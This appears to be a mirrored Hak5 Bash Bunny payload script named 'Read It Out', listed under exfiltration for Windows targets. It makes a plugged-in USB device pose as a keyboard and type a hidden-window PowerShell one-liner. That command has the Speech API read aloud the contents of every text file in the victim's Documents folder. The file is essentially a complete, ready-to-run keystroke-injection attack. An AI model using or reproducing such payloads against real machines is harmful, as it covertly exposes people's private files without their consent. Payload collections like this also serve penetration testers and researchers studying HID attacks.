mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
23 lines
595 B
Plaintext
23 lines
595 B
Plaintext
# Title: Read It Out
|
|
# Description: Gets the Microsoft Speech API (SAPI) to read out the content of text files in the MyDocuments directory.
|
|
# Author: Cribbit
|
|
# Version: 1.0
|
|
# Category: Exfiltration
|
|
# Target: Windows (Powershell 5.1+)
|
|
# Attackmodes: HID
|
|
# Extensions: Run
|
|
|
|
LED SETUP
|
|
|
|
GET SWITCH_POSITION
|
|
|
|
ATTACKMODE HID
|
|
|
|
QUACK DELAY 500
|
|
|
|
LED ATTACK
|
|
|
|
RUN WIN "powershell -Noni -NoP -W h -C \"& {\$s=New-Object -ComObject SAPI.SPVoice; gci([Environment]::GetFolderPath('MyDocuments')) -file *.txt | % {\$s.Speak(\$(gc(\$_.FullName)))}}\""
|
|
|
|
LED FINISH
|